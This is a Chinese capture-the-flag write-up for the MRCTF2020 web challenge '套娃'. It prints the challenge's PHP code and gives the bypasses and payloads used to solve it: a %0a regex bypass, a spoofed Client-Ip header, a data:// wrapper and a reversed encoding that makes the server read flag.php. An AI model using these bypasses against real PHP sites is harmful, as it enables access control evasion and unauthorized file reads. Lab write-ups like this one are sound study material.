当前位置: 首页 > article >正文

[MRCTF2020]套娃

一。

按F12看源代码

发现代码

读代码发现

1.我们传的参数中不能存在_%5f,可以通过使用空格来代替_,还是能够上传成功。

2.正则表达式"/^23333/ " ,开头结尾都被 " " 和 " /",开头结尾都被"^"和"/",开头结尾都被" 
"和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过

上传

二。

转到secrettw.php

发现什么都没有还看源代码

将这些复制放入控制台

要求POST一个 Merak(传任何数都可以)

三。

先看代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();//可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){//这里这个传值可以用data伪协议将一句话传进去
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

得到信息

1.ip不对,需要127.0.0.1。抓包

数据包传递ip我知道有两种。

X-Forwarded-For:127.0.0.1

Client-Ip:127.0.0.1

都试一下,第二个正确

2.get参数2333传来的值,使用文件流打开后内容为todat is a happy day

3.file_get_contents用php伪协议绕过

解释:

让 file_get_contents($_GET['2333']) 返回字符串 todat is a happy day。此时有两种常见思路:

  1. 直接读取本地文件
    例如传递 ?2333=/path/to/file.txt,但需要提前知道服务器上存在一个包含目标字符串的文件,这在CTF中通常不可行。

  2. 利用伪协议动态构造数据
    data:// 协议允许直接在URL中内联数据,无需依赖外部文件或网络请求。这是最直接且可控的方式。

?2333=data:text/plain,todat%20is%20a%20happy%20day

4.反写change加密函数

我是直接交给AI得到 fj]a&f\b

 也可以用PHP代码写

<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
    $re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

Base64编码:ZmpdYSZmXGI=

所以最后为?2333=data://text/plain,todat is a happy day &file=ZmpdYSZmXGI=


http://www.kler.cn/a/611746.html

相关文章:

  • 实战 | 基于 SpringBoot + UniApp 打造国际版打车系统:架构设计与性能优化全解析
  • SQL优化 | OceanBase是否遵循最左匹配原则?(三)
  • MDC的原理是什么?
  • 计算机二级(C语言)考试高频考点总汇(二)—— 控制流、函数、数组和指针
  • 向量数据库的适用场景与局限性分析
  • Java爬虫如何解析返回的JSON数据?
  • Dynamic Soft Contrastive Learning for Time Series Anomaly Detection 解读
  • 【2025】基于springboot+uniapp的企业培训打卡小程序设计与实现(源码、万字文档、图文修改、调试答疑)
  • 套接字Socket
  • 算法-深度优先搜索
  • ubuntu单机部署redis集群
  • HarmonyOS NEXT 鸿蒙中关系型数据库@ohos.data.relationalStore API 9+
  • IP 分片重组与 TCP 会话重组
  • 二分查找模板--从题目中讲解三大二分模板
  • [vue]计算属性
  • WPF ContentPresenter详解2
  • 网损仪详解
  • 比R版本快几十倍| Pyscenic单细胞转录因子预测
  • nVisual对接企业微信实现机房设备与连接变更的自动化审批
  • 硬件防火墙配置与优化:给网络装上最稳的安全阀